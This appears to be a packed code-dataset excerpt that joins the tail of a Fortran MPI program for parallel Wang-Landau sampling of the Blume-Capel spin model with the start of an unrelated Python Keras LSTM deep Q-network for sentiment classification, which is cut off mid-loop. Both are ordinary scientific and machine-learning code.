k=i/nWalkers
DO j=0,number_neighbor_windows(k)-1
DO kk=0,nWalkers-1
my_neighbor(i*numprocs + neighbor_windows(4*k+j)*nWalkers + kk) = .TRUE.
END DO
END DO
END DO
my_neighbor_id = -1
DO i=0,numprocs-1
k = 0
DO j=0,numprocs-1
IF(my_neighbor(i*numprocs+j)) THEN
kk = MOD(j,nWalkers)
my_neighbor_id(i*max_neighbors*nWalkers+k*nWalkers+kk) = j
IF (MOD(kk+1,nWalkers)==0) k = k + 1
END IF
IF (MOD(k,number_neighbor_windows(i/nWalkers))==0) k = 0
END DO
END DO
!IF (myid==0) THEN
! DO i=0,numprocs-1
! kk=i/nWalkers
! DO j=0,number_neighbor_windows(kk)-1
! DO k=0,nWalkers-1
! PRINT*,i,my_neighbor_id(i*4*nWalkers+j*nWalkers + k)
! END DO
! END DO
! END DO
!END IF
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
rangeE1_min_aux = NINT(E1_min_aux(myid)*dE1_inv)
rangeE1_max_aux = NINT(E1_max_aux(myid)*dE1_inv)
rangeE2_min_aux = NINT(E2_min_aux(myid)*dE2_inv)
rangeE2_max_aux = NINT(E2_max_aux(myid)*dE2_inv)
DO i=rangeE1_min,rangeE1_min_aux
DO j=rangeE2_min,rangeE2_max
k = i*delta_range2 + j
lng(k) = lng(k) + 1.0D6 + 1.0D2*(i-rangeE1_min_aux)*(i-rangeE1_min_aux)
END DO
END DO
DO i=rangeE1_max_aux,rangeE1_max
DO j=rangeE2_min,rangeE2_max
k = i*delta_range2 + j
lng(k) = lng(k) + 1.0D6 + 1.0D2*(i-rangeE1_max_aux)*(i-rangeE1_max_aux)
END DO
END DO
DO i=rangeE1_min,rangeE1_max
DO j=rangeE2_min,rangeE2_min_aux
k = i*delta_range2 + j
lng(k) = lng(k) + 1.0D6 + 1.0D2*(j-rangeE2_min_aux)*(j-rangeE2_min_aux)
END DO
END DO
DO i=rangeE1_min,rangeE1_max
DO j=rangeE2_max_aux,rangeE2_max
k = i*delta_range2 + j
lng(k) = lng(k) + 1.0D6 + 1.0D2*(j-rangeE2_max_aux)*(j-rangeE2_max_aux)
END DO
END DO
DO
found_core = .FALSE.
CALL sweep()
IF((E_current(1) > rangeE1_min_aux) .AND. (E_current(1) < rangeE1_max_aux) &
& .AND. (E_current(2) > rangeE2_min_aux) .AND. (E_current(2) < rangeE2_max_aux)) found_core = .TRUE.
PRINT*,myid,E_current(1),rangeE1_min_aux,rangeE1_max_aux,E_current(2),rangeE2_min_aux,rangeE2_max_aux, found_core
IF (myid == 0) THEN !Processor 0 will process this check-up.
found = found_core !The global flatness status recieves the flatness status of the walker 0.
DO i=1,numprocs-1
!recieve all core flatness status results
CALL MPI_Recv(found_core,1,MPI_LOGICAL,MPI_ANY_SOURCE,MPI_ANY_TAG,MPI_COMM_WORLD,mpistatus,ierr)
IF (.NOT.found_core) found = .FALSE. !If one walker is not flat the global flatness status would be false
END DO
ELSE
!Send the result of the core flatness status to processor 0
CALL MPI_Send(found_core,1,MPI_LOGICAL,0,myid,MPI_COMM_WORLD,ierr)
END IF
CALL MPI_Bcast(found,1,MPI_LOGICAL,0,MPI_COMM_WORLD,ierr)
IF(found) EXIT
END DO
17 CALL energy(current,E_current)
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
IF(myid==0) PRINT*,'The configuration inside the energy window was found.'
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Redefining the variables and reallocating the memory:
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
E1_min = E1_min_aux(myid)
E1_max = E1_max_aux(myid)
E2_min = E2_min_aux(myid)
E2_max = E2_max_aux(myid)
rangeE1_min = NINT(E1_min*dE1_inv)
rangeE1_max = NINT(E1_max*dE1_inv)
rangeE2_min = NINT(E2_min*dE2_inv)
rangeE2_max = NINT(E2_max*dE2_inv)
delta_range1 = rangeE1_max-rangeE1_min + 1
delta_range2 = rangeE2_max-rangeE2_min + 1
PRINT*,'Processor ' ,myid, 'E1_min', E1_min,'E1_max', E1_max,&
&'E2_min', E2_min,'E2_max', E2_max
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
mcs = mcs_bin_term*nEbins
mcs_inv = 1.0D0/mcs
IF(myid==0) PRINT*,'$$$$$$$$$$$$$$$$ Monte Carlo Sweeps = ', mcs, '$$$$$$$$$$$$$$$$'
DEALLOCATE (he,lng)
ALLOCATE(he(delta_range2*rangeE1_min+rangeE2_min:delta_range2*rangeE1_max+rangeE2_max),&
& lng(delta_range2*rangeE1_min+rangeE2_min:delta_range2*rangeE1_max+rangeE2_max))
he = 0; lng = 1.0D0; lnf = 1.0D0 !Initialization of the Variables
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Finishing the initialization subroutine:
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
IF(myid ==0) PRINT*,'The initialization was done.'
RETURN
END SUBROUTINE initial
!------------------------------------------------------------------------------!
!Performing mcs Monte Carlo sweeps:
!------------------------------------------------------------------------------!
SUBROUTINE sweep()
USE integer_kind
USE WL_variables
USE spins_variables
IMPLICIT NONE
INTEGER(K4B) :: j, imcs, icount_replica!, i, mcs_aux, n_numbers
INTEGER(K15) :: k
! mcs_aux = mcs/n_mcs
! n_numbers = mcs_aux*3*L2
! ALLOCATE(random_numbers(1:n_numbers))
accept_counter = 0
exchange_counter = 0
imcs = 0
icount_replica = 0
DO k=1,mcs
CALL energy(current,E_current)
trial = current
E_trial = E_current
numbers_count = 0
! CALL vranmar(n_numbers,random_numbers)
imcs = imcs + 1
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Single spin rotation
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
DO j = 1,L2
CALL sorteia_spin(j)
CALL delta_energy(j)
CALL wangLandau_step()
IF(accept) THEN
current%U1 = trial%U1
current%U2 = trial%U2
E_current = E_trial
current%Sx(j) = Sx_new
END IF
END DO
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!REPLICA EXCHANGE
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
trial = current
E_trial = E_current
IF (MOD(imcs,ireplica) == 0) THEN
icount_replica = icount_replica + 1
CALL replica_exchange()
END IF
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
END DO
accept_ratio = DBLE(accept_counter)*L2_inv*mcs_inv
replica_ratio = DBLE(exchange_counter)/DBLE(icount_replica)
RETURN
END SUBROUTINE sweep
!------------------------------------------------------------------------------!
!Sorteia novo spin
!------------------------------------------------------------------------------!
SUBROUTINE sorteia_spin(i)
USE WL_variables
USE spins_variables
USE integer_kind
IMPLICIT NONE
INTEGER(K4B), INTENT(IN) :: i
IF (ranmar() .LE. 0.5) THEN
Sx_new = ((current%Sx(i)+2)-3*((current%Sx(i)+2)/3)) - 1
ELSE
Sx_new = ((current%Sx(i)+3)-3*((current%Sx(i)+3)/3)) - 1
ENDIF
delta_sx = Sx_new - current%Sx(i)
! PRINT*,Sx_new,current%Sx(i),delta_sx
RETURN
END SUBROUTINE sorteia_spin
!------------------------------------------------------------------------------!
!Calcula a variacao da energia e da magnetizacao
!------------------------------------------------------------------------------!
SUBROUTINE delta_energy(i)
USE WL_variables
USE spins_variables
USE integer_kind
IMPLICIT NONE
INTEGER(K4B), INTENT(IN) :: i
INTEGER(K15) :: ivx1, ivx2, ivx3
INTEGER(K4B) :: idir,iesq,jdir,jesq
idir = vizXdir(i)
iesq = vizXesq(i)
jdir = vizYdir(i)
jesq = vizYesq(i)
! Soma das componentes dos primeiros vizinhos do sitio 'i'
ivx1 = current%sx(idir) + current%sx(iesq) + &
& current%sx(jdir) + current%sx(jesq)
delta_U1 = -DBLE(delta_sx*ivx1)
delta_U2 = DBLE(Sx_new*Sx_new - current%sx(i)*current%sx(i))
trial%U1 = delta_U1 + current%U1
trial%U2 = delta_U2 + current%U2
E_trial(1) = NINT(trial%U1*dE1_inv)
E_trial(2) = NINT(trial%U2*dE2_inv)
E_trial(3) = delta_range2*E_trial(1) + E_trial(2)
RETURN
END SUBROUTINE delta_energy
!------------------------------------------------------------------------------!
!Calcula a energia e a magnetizacao do sistema
!------------------------------------------------------------------------------!
SUBROUTINE energy(config_aux,E_config_aux)
USE integer_kind
USE spins_variables
USE WL_variables
IMPLICIT NONE
INTEGER(K4B) :: k, idir, jdir, kk, counter_aux, ivx1, ivx2, ivx3
INTEGER(K15), DIMENSION(1:3), INTENT(OUT) :: E_config_aux
TYPE (spins_config), INTENT(INOUT) :: config_aux
DOUBLE PRECISION:: rand
!Inicializando as variaveis
config_aux%U1 = 0
config_aux%U2 = 0
DO k=1,L2
idir = vizXdir(k)
jdir = vizYdir(k)
! soma das componentes dos primeiros vizinhos
ivx1 = config_aux%sx(idir) + config_aux%sx(jdir)
!Contribuicao aa energia do sitio k
config_aux%U1 = config_aux%U1 - DBLE(config_aux%sx(k)*ivx1)
config_aux%U2 = config_aux%U2 + DBLE(config_aux%sx(k)*config_aux%sx(k))
!Embaralhando ordem dos passos de Monte Carlo
! rand = ranmar()
! kk = NINT(L2_dble*rand+1.0D0)
! counter_aux = counter_s(k)
! counter_s(k) = counter_s(kk)
! counter_s(kk) = counter_aux
END DO
E_config_aux(1) = NINT(config_aux%U1*dE1_inv)
E_config_aux(2) = NINT(config_aux%U2*dE2_inv)
E_config_aux(3) = delta_range2*E_config_aux(1) + E_config_aux(2)
RETURN
END SUBROUTINE energy
!------------------------------------------------------------------------------!
!Wang-Landau Algorithm
!------------------------------------------------------------------------------!
SUBROUTINE wangLandau_step()
USE WL_variables
USE spins_variables
IMPLICIT NONE
REAL(8) :: aux1,aux2
accept = .FALSE.
!- - - - - - - - - - - - - - - - - - - - - - - - - - !
!Checking if the new state is in the range of energy:
!- - - - - - - - - - - - - - - - - - - - - - - - - - !
IF (E_trial(1) > rangeE1_max) THEN
! Print*, 'E1_trial > rangeE1_max'
GO TO 15
ELSE
IF (E_trial(1) < rangeE1_min) THEN
! Print*, 'E1_trial < rangeE1_min'
GO TO 15
ELSE
IF (E_trial(2) > rangeE2_max) THEN
! Print*, 'E2_trial > rangeE2_max'
GO TO 15
ELSE
IF (E_trial(2) < rangeE2_min) THEN
! Print*, 'E2_trial < rangeE2_min'
GO TO 15
END IF
END IF
END IF
END IF
!- - - - - - - - - - - - - - - - - - - - - - - - -!
!Wang Landau sweep
!- - - - - - - - - - - - - - - - - - - - - - - - -!
IF (lng(E_trial(3)) < lng(E_current(3))) THEN
E_current = E_trial
accept_counter = accept_counter + 1
accept = .TRUE.
! Print*, 'accepted lng(E_trial) < lng(E_current)'
ELSE
! numbers_count = numbers_count + 1
! aux1 = random_numbers(numbers_count)
aux1 = ranmar()
aux2 = DEXP(lng(E_current(3)) - lng(E_trial(3)))
IF (aux1 < aux2) THEN
E_current = E_trial
accept_counter = accept_counter + 1
accept = .TRUE.
! Print*, 'accepted g(E_trial > g(E_current)'
! ELSE
! Print*, 'REJECTED'
END IF
END IF
!- - - - - - - - - - - - - - - - - - - - - - - - -!
!Updating the histogram and the density of states:
!- - - - - - - - - - - - - - - - - - - - - - - - -!
15 lng(E_current(3)) = lng(E_current(3)) + lnf
he(E_current(3)) = he(E_current(3)) + 1
RETURN
END SUBROUTINE wangLandau_step
!------------------------------------------------------------------------------!
!Replica exchange subroutine
!------------------------------------------------------------------------------!
SUBROUTINE replica_exchange()
USE integer_kind
USE WL_variables
USE spins_variables
USE MPI_new_variables
IMPLICIT NONE
INTEGER(K4B) :: i, j, k, jaux, iaux
INTEGER(K4B),ALLOCATABLE,DIMENSION(:) :: partner
REAL(8) :: aux1,aux2,aux3,aux4
REAL(8),DIMENSION(1:2) :: ge_aux
LOGICAL :: accept_exchange, range_bin, range_bin_partner
LOGICAL :: main_proc, secondary_proc
LOGICAL,ALLOCATABLE,DIMENSION(:) :: picked
ALLOCATE(partner(0:numprocs-1))
partner = -1
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!Defining the walkers partners for the replica exchange:
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
IF (myid == 0) THEN
ALLOCATE(picked(0:numprocs-1))
!After that, the values inside a window will be shuffled.
picked = .TRUE.
DO i=0,numprocs-1
iaux = i/nWalkers
j = NINT(DBLE(number_neighbor_windows(iaux)-1)*ranmar())
k = NINT(DBLE(nWalkers-1)*ranmar())
jaux = my_neighbor_id(i*4*nWalkers + j*nWalkers + k)
IF (picked(i) .AND. picked(jaux)) THEN
partner(i) = jaux
partner(jaux) = i
picked(i) = .FALSE.
picked(jaux) = .FALSE.
END IF
END DO
DEALLOCATE(picked)
END IF
CALL MPI_barrier(MPI_COMM_WORLD,ierr)
CALL MPI_Bcast(partner,numprocs,MPI_INTEGER,0,MPI_COMM_WORLD,ierr)
main_proc = .FALSE.
secondary_proc = .FALSE.
IF(partner(myid) .GE. 0) THEN
IF(myid < partner(myid)) THEN
main_proc = .TRUE.
ELSE
secondary_proc = .TRUE.
END IF
! ELSE
! GO TO 17
END IF
! PRINT*,myid,partner(myid),main_proc,secondary_proc
CALL MPI_barrier(MPI_COMM_WORLD,ierr)
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
!REPLICA EXCANGE
!- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -!
range_bin = .FALSE.
IF (main_proc) THEN
!Sending/Recieving the energy bin flag to/from the secondary processor.
CALL MPI_Sendrecv(E_current,3,MPI_INTEGER,partner(myid),myid,&
& E_trial,3,MPI_INTEGER,partner(myid),partner(myid)+6*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
!Checking if the energy of the state of the secondary processor is in the range of energy of the main processor.
IF ((E_trial(1) > rangeE1_min) .AND. (E_trial(1) < rangeE1_max) &
& .AND. (E_trial(2) > rangeE2_min) .AND. (E_trial(2) < rangeE2_max)) range_bin = .TRUE.
!Sending/Recieving the result of the previous check to/from the secondary processor.
CALL MPI_Sendrecv(range_bin,1,MPI_LOGICAL,partner(myid),myid+7*numprocs,&
& range_bin_partner,1,MPI_LOGICAL,partner(myid),partner(myid)+numprocs,MPI_COMM_WORLD,mpistatus,ierr)
!If the walkers are in the same range we can calculate the acceptance ratio (P_acc = min[1,gi(X)gj(Y)/gi(Y)gj(X)]
IF (range_bin .AND. range_bin_partner) THEN
E_trial(3) = delta_range2*E_trial(1) + E_trial(2)
!Reciving the density of states from the secondary processor {ge_aux(1) = ln[gj(Y)] and ge_aux(2) = ln[gj(X))]}
CALL MPI_Recv(ge_aux,2,MPI_DOUBLE_PRECISION,partner(myid),myid+2*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
aux1 = lng(E_current(3)) + ge_aux(1)
aux2 = lng(E_trial(3)) + ge_aux(2)
!Wang-Landau Algorithm
IF (aux1 < aux2) THEN ! P_acc=min[gi(X)gj(Y)/gi(Y)gj(X)] [It will be accept if gi(X)gj(Y) < gi(Y)gj(X)]
accept_exchange = .TRUE. !The exchange is accepted - acceptance status = True
ELSE
! numbers_count = numbers_count + 1
aux3 = ranmar()!random_numbers(numbers_count)
aux4 = DEXP(aux1 - aux2)
IF (aux3 < aux4) THEN ! P_acc=min[gi(X)gj(Y)/gi(Y)gj(X)] [It will be accept if the random number < gi(X)gj(Y)/gi(Y)gj(X)]
accept_exchange = .TRUE. !The exchange is accepted - acceptance status = True
ELSE
accept_exchange = .FALSE. !The exchange is not accepted - acceptance status = False
END IF
END IF
!Sending the acceptance status to the secondary processor.
CALL MPI_Send(accept_exchange,1,MPI_LOGICAL,partner(myid),myid+3*numprocs,MPI_COMM_WORLD,ierr)
!If it is accepted the subroutine will exchange the configurations of the main and secondary processor.
IF(accept_exchange) THEN
exchange_counter = exchange_counter + 1 !Count how many times the exchange was accepted.
E_current = E_trial
!Exchanging the configuration.
CALL MPI_Sendrecv_replace(current,1,MPI_config_spins,partner(myid),myid+5*numprocs,&
& partner(myid),partner(myid)+4*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
END IF
END IF
ELSE
IF(secondary_proc) THEN
!Sending/Recieving the energy bin flag to/from the main processor.
CALL MPI_Sendrecv(E_current,3,MPI_INTEGER,partner(myid),myid+6*numprocs,&
& E_trial,3,MPI_INTEGER,partner(myid),partner(myid),MPI_COMM_WORLD,mpistatus,ierr)
!Checking if the energy of the state of the main processor is in the range of energy of the secondary processor.
IF ((E_trial(1) > rangeE1_min) .AND. (E_trial(1) < rangeE1_max) &
& .AND. (E_trial(2) > rangeE2_min) .AND. (E_trial(2) < rangeE2_max)) range_bin = .TRUE.
!Sending/Recieving the result of the previous check to/from the main processor.
CALL MPI_Sendrecv(range_bin,1,MPI_LOGICAL,partner(myid),myid+numprocs,&
& range_bin_partner,1,MPI_LOGICAL,partner(myid),partner(myid)+7*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
IF (range_bin .AND. range_bin_partner) THEN
E_trial(3) = delta_range2*E_trial(1) + E_trial(2)
!Sending the density of states to the main processor {ge_aux(1) = ln[gj(Y)] and ge_aux(2) = ln[gj(X))]}
ge_aux(1) = lng(E_current(3))
ge_aux(2) = lng(E_trial(3))
CALL MPI_Send(ge_aux,2,MPI_DOUBLE_PRECISION,partner(myid),partner(myid)+2*numprocs,MPI_COMM_WORLD,ierr)
!Reciving the acceptance status from the main processor.
CALL MPI_Recv(accept_exchange,1,MPI_LOGICAL,partner(myid),partner(myid)+3*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
!If it is accepted the subroutine will exchange the configurations of the main and secondary processor.
IF(accept_exchange) THEN
exchange_counter = exchange_counter + 1 !Count how many times the exchange was accepted.
E_current = E_trial
!Exchanging the configuration.
CALL MPI_Sendrecv_replace(current,1,MPI_config_spins,partner(myid),myid+4*numprocs,&
& partner(myid),partner(myid)+5*numprocs,MPI_COMM_WORLD,mpistatus,ierr)
END IF
END IF
ELSE
END IF
END IF
lng(E_current(3)) = lng(E_current(3)) + lnf !Density of states
he(E_current(3)) = he(E_current(3)) + 1 !Histogram
DEALLOCATE(partner)
RETURN
END SUBROUTINE replica_exchange
!------------------------------------------------------------------------------!
!Verifica se o histograma esta flat
!------------------------------------------------------------------------------!
SUBROUTINE flathist()
USE integer_kind
USE WL_variables
USE MPI_new_variables
IMPLICIT NONE
INTEGER(K15) :: i
INTEGER(K4B) :: kk
REAL(8) :: lngE_med(delta_range2*rangeE1_min+rangeE2_min:delta_range2*rangeE1_max+rangeE2_max),&
& media,mini,aux,p2
LOGICAL :: flat_core
!--------------------------------------------------!
!check if the walker myid is flat
!--------------------------------------------------!
flat_core = .FALSE.
kk = 0
media = 0.0D0
mini = 1.0D9
DO i = delta_range2*rangeE1_min+rangeE2_min, delta_range2*rangeE1_max+rangeE2_max
IF (lng(i) > 1.0D2) THEN
kk = kk + 1
aux = DBLE(he(i))
media = media + aux
IF (aux .LT. mini) mini = aux
END IF
END DO
media=media/DBLE(kk)
p2=mini/media
IF (p2 > p) flat_core = .TRUE.
PRINT*,'id', myid, 'flatness', p2, flat_core,'acceptance', accept_ratio, replica_ratio
!--------------------------------------------------!
!Checking if all walkers are flat.
!--------------------------------------------------!
CALL MPI_Barrier(MPI_COMM_WORLD,ierr)
IF (myid == 0) THEN !Processor 0 will process this check-up.
flat = flat_core !The global flatness status recieves the flatness status of the walker 0.
DO i=1,numprocs-1
!recieve all core flatness status results
CALL MPI_Recv(flat_core,1,MPI_LOGICAL,MPI_ANY_SOURCE,MPI_ANY_TAG,MPI_COMM_WORLD,mpistatus,ierr)
IF (.NOT.flat_core) flat = .FALSE. !If one walker is not flat the global flatness status would be false
END DO
ELSE
!Send the result of the core flatness status to processor 0
CALL MPI_Send(flat_core,1,MPI_LOGICAL,0,myid,MPI_COMM_WORLD,ierr)
END IF
!Send the result of flatness of all walkers to all processors
CALL MPI_Bcast(flat,1,MPI_LOGICAL,0,MPI_COMM_WORLD,ierr)
!------------------------------------------------------------------------------------------------------------------------!
!If all walkers are flat we have to distribute the average of the density of states of/to all walkers inside a subwindow
!------------------------------------------------------------------------------------------------------------------------!
IF (flat) THEN
IF(myid==0) PRINT*,'############## FLAT HISTOGRAM #################',lnf
lnf = 0.5D0*lnf !Reduce the modification fator f
he = 0 !Reset the histogram to zero
flat = .FALSE. !Reset flatness variable status
IF (lnf > lnf_min) THEN
IF (energy_id == 0) THEN !sub_processor 0 will calculate de average
lngE_med = lng
DO i=1,nWalkers-1
!recieve all density of states of the sub-window
CALL MPI_Recv(lng,delta_range1*delta_range2,&
&MPI_DOUBLE_PRECISION,MPI_ANY_SOURCE,MPI_ANY_TAG,energy_comm,mpistatus,ierr)
lngE_med = lngE_med + lng
END DO
lngE_med = lngE_med/DBLE(nWalkers)
lng = lngE_med
ELSE
!send density of the state to sub processor 0
CALL MPI_Send(lng,delta_range1*delta_range2,&
&MPI_DOUBLE_PRECISION,0,energy_id,energy_comm,ierr)
END IF
!distribute the density of states to all walkers inside the subwindow
CALL MPI_Bcast(lng,delta_range1*delta_range2,&
&MPI_DOUBLE_PRECISION,0,energy_comm,ierr)
END IF
ELSE
IF(myid==0) PRINT*,'****NOT FLAT HISTOGRAM *****', lnf
END IF
RETURN
END SUBROUTINE flathist
!------------------------------------------------------------------------------!
!Pseudorandom numbers generator
!------------------------------------------------------------------------------!
SUBROUTINE rmarin(ij, kl)
! This subroutine and the next function generate random numbers. See
! the comments for SA for more information. The onL changes from the
! orginal code is that (1) the test to make sure that RMARIN runs first
! was taken out since SA assures that this is done (this test didn't
! compile under IBM's VS Fortran) and (2) typing ivec as integer was
! taken out since ivec isn't used. With these exceptions, all following
! lines are original.
! This is the initialization routine for the random number generator
! RANMAR()
! NOTE: The seed variables can have values between: 0 <= IJ <= 31328
! 0 <= KL <= 30081
USE integer_kind
USE raset1
IMPLICIT NONE
INTEGER(K4B), INTENT(IN) :: ij, kl
INTEGER(K4B) :: i, j, k, l, ii, jj, m
REAL(8) :: s, t
IF( ij < 0 .OR. ij > 31328 .OR. kl < 0 .OR. kl > 30081 ) THEN
WRITE(*, '(A)') ' The first random number seed must have a value ', &
'between 0 AND 31328'
WRITE(*, '(A)') ' The second seed must have a value between 0 and 30081'
STOP
END IF
i = MOD(ij/177, 177) + 2
j = MOD(ij, 177) + 2
k = MOD(kl/169, 178) + 1
l = MOD(kl, 169)
DO ii = 1, 97
s = 0.0D0
t = 0.5D0
DO jj = 1, 24
m = MOD(MOD(i*j, 179)*k, 179)
i = j
j = k
k = m
l = MOD(53*l + 1, 169)
IF (MOD(l*m, 64) >= 32) THEN
s = s + t
END IF
t = 0.5D0*t
END DO
u(ii) = s
END DO
cc = 362436.0D0/16777216.0D0
cd = 7654321.0D0/16777216.0D0
cm = 16777213.0D0/16777216.0D0
i97 = 97
j97 = 33
RETURN
END SUBROUTINE rmarin
!------------------------------------------------------------------------------!
! This is the random number generator proposed by <NAME>
! in Florida State University Report: FSU-SCRI-87-50
!------------------------------------------------------------------------------!
FUNCTION ranmar() RESULT(fn_val)
USE raset1
IMPLICIT NONE
REAL(8) :: fn_val
! Local variable
REAL(8):: uni
uni = u(i97) - u(j97)
IF( uni < 0.0D0 ) uni = uni + 1.0D0
u(i97) = uni
i97 = i97 - 1
IF(i97 == 0) i97 = 97
j97 = j97 - 1
IF(j97 == 0) j97 = 97
cc = cc - cd
IF( cc < 0.0D0 ) cc = cc + cm
uni = uni - cc
IF( uni < 0.0D0 ) uni = uni + 1.0D0
! IF( uni == 0.0D0 ) uni = 2.0D-38
fn_val = uni
RETURN
END FUNCTION ranmar
!------------------------------------------------------------------------------!
!The same generator as above but for a vector of n random numbers
!------------------------------------------------------------------------------!
!SUBROUTINE vranmar(n, fn_val)
!USE integer_kind
!USE raset1
!IMPLICIT NONE
! INTEGER(K4B), INTENT(IN) :: n
! REAL(8), DIMENSION(1:n),INTENT(OUT) :: fn_val
!
! REAL(8) :: uni
! INTEGER(K4B) :: i
!
! DO i = 1, n
! uni = u(i97) - u(j97)
! IF( uni < 0.0D0 ) uni = uni + 1.0D0
! u(i97) = uni
! i97 = i97 - 1
! IF(i97 == 0) i97 = 97
! j97 = j97 - 1
! IF(j97 == 0) j97 = 97
! cc = cc - cd
! IF( cc < 0.0D0 ) cc = cc + cm
! uni = uni - cc
! IF( uni < 0.0D0 ) uni = uni + 1.0D0
!! IF( uni == 0.0D0 ) uni = 2.0D-38
! fn_val(i) = uni
! END DO
!
! RETURN
!END SUBROUTINE vranmar
!------------------------------------------------------------------------------!
!Initial random number generator (numerical recipes)
!------------------------------------------------------------------------------!
DOUBLE PRECISION FUNCTION ran_init(idum)
USE integer_kind
IMPLICIT NONE
INTEGER(K4B), INTENT(INOUT) :: idum
INTEGER(K4B), PARAMETER :: IA=16807,IM=2147483647,IQ=127773,IR=2836
REAL(8), SAVE :: am
INTEGER(K4B), SAVE :: ix=-1,iy=-1,k
IF (idum <= 0 .OR. iy < 0) THEN
am = nearest(1.0,-1.0)/DBLE(IM)
iy = ior(ieor(888889999,abs(idum)),1)
ix = ieor(777755555,abs(idum))
idum = abs(idum) + 1
END IF
ix = ieor(ix,ishft(ix,13))
ix = ieor(ix,ishft(ix,-17))
ix = ieor(ix,ishft(ix,5))
k = iy/IQ
iy = IA*(iy - k*IQ) - IR*k
IF (iy < 0) iy = iy + IM
ran_init = am*ior(iand(IM,ieor(ix,iy)),1)
RETURN
END FUNCTION ran_init
!------------------------------------------------------------------------------!
END PROGRAM WangLandau_Blume_Capel_model
!##################################################################################################!
|
3f74224a814e00ef55b0da31f0e5e99ac1fbbd8a
|
[
"Fortran Free Form"
] | 1 |
Fortran Free Form
|
jcsrocha/wang_landau
|
8b88e041c7cd817ff14e802094940e5eabb32385
|
f5b14fb097cd2b5e93bdfb8c00ef0b4b6e1b5831
|
refs/heads/master
|
<file_sep>from keras.layers.recurrent import *
from keras.layers import *
from keras.layers.core import *
from keras.models import *
import numpy as np
from keras.preprocessing.sequence import *
import sys
sys.path.append('../../')
from LSTM.src.WordEmbeddingLayer import *
ACTION = {0:'NONE', 1:'NEG', 2:'POS'}
class DeepQNetwork(object):
def __init__(self,input_dim,output_dim,hidden_dim,exploration_probability):
self.input_dim = input_dim
self.output_dim = output_dim
self.hidden_dim = hidden_dim
self.exploration_probability = exploration_probability
self.QTable = {}
self.DiscountFactor = 0.8
self.max_len = 100
def build_model(self):
self.QModel = Sequential()
self.QModel.add(LSTM(output_dim=self.hidden_dim, input_length=self.max_len, input_dim=self.input_dim, return_sequences=True))
self.QModel.add(LSTM(output_dim=self.output_dim, input_length=self.max_len, input_dim=self.hidden_dim, return_sequences=True))
#self.QModel.add(Activation('sigmoid'))
self.QModel.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])
def get_Qvalue(self,stateId,action):
if (stateId,action) in self.QTable.keys():
return self.QTable[(stateId,action)]
else:
self.QTable[(stateId,action)] = np.random.rand()
def select_action(self,state):
rand = np.random.rand(100)
if rand < self.exploration_probability:
return self.explor()
else:
return np.argmax(self.QModel.predict(state))
def learning_loop(self,embedded_sentence,sentiment):
#vocab_representation = WordEmbeddingLayer()
#vocab_representation.load_filtered_embedding("../data/filtered_glove.840B.300d")
#embedded_sentence = np.asarray(vocab_representation.embed(sentence)[0])
padded_embedded_sentence = np.zeros((self.max_len,self.input_dim))
for i in np.arange(len(embedded_sentence)):
padded_embedded_sentence[i,:] = embedded_sentence[i]
estimated_qz = self.QModel.predict(np.asarray([padded_embedded_sentence]))[0]
estimated_qz = estimated_qz - 0.5
#print("sentence length: "+str(len(embedded_sentence)))
#print("predicted sentiment is: "+ACTION[np.argmax(estimated_qz[len(embedded_sentence) - 1])]+" "+str(np.argmax(estimated_qz[len(embedded_sentence) - 1]) == target))
rewards = np.zeros_like(estimated_qz)
rewards[len(embedded_sentence) - 1,:] = -100
rewards[len(embedded_sentence) - 1][sentiment] = 100
updating_qvals = np.copy(estimated_qz)
u_rewards = []
updating_qvals[len(embedded_sentence) - 1][sentiment] = rewards[len(embedded_sentence) - 1][sentiment]
best_actions = []
i = len(embedded_sentence) - 2
while i >= 0:
best_next_actionn = np.argmax(rewards[i+1])
for k in ACTION.keys():
rewards[i][k] = estimated_qz[i][k] + self.DiscountFactor * rewards[i+1][best_next_actionn]
best_action = np.argmax(rewards[i])
updating_qvals[i][best_action] = rewards[i][best_action]
best_actions.append(best_action)
u_rewards.append(rewards[i][best_action])
i -= 1
padded_targets = np.zeros((self.max_len, self.output_dim))
for i in np.arange(len(embedded_sentence)):
padded_targets[i, :] = updating_qvals[i]
self.QModel.train_on_batch(np.asarray([padded_embedded_sentence]),np.asarray([padded_targets]))
import random
if __name__ == '__main__':
dqn = DeepQNetwork(input_dim=300,output_dim=3,hidden_dim=300,exploration_probability=0.3)
dqn.build_model()
embedded_train, train_labels = WordEmbeddingLayer.load_embedded_data(path="../data/", name="train",
representation="glove.840B.300d")
c = list(zip(embedded_train,train_labels))
random.shuffle(c)
embedded_train, train_labels = zip(*c)
embedded_train, train_labels = embedded_train, train_labels
binary_embedded_train = []
binary_train_labels = []
for i in np.arange(len(embedded_train)):
if np.argmax(train_labels[i]) != 1:
binary_embedded_train.append(embedded_train[i])
m = (np.argmax(train_labels[i]) // 2) + 1
binary_train_labels.append(m)
embedded_test, test_labels = WordEmbeddingLayer.load_embedded_data(path="../data/", name="test",
representation="glove.840B.300d")
embedded_test, test_labels = embedded_test, test_labels
binary_embedded_test = []
binary_test_labels = []
for i in np.arange(len(embedded_test)):
if np.argmax(train_labels[i]) != 1:
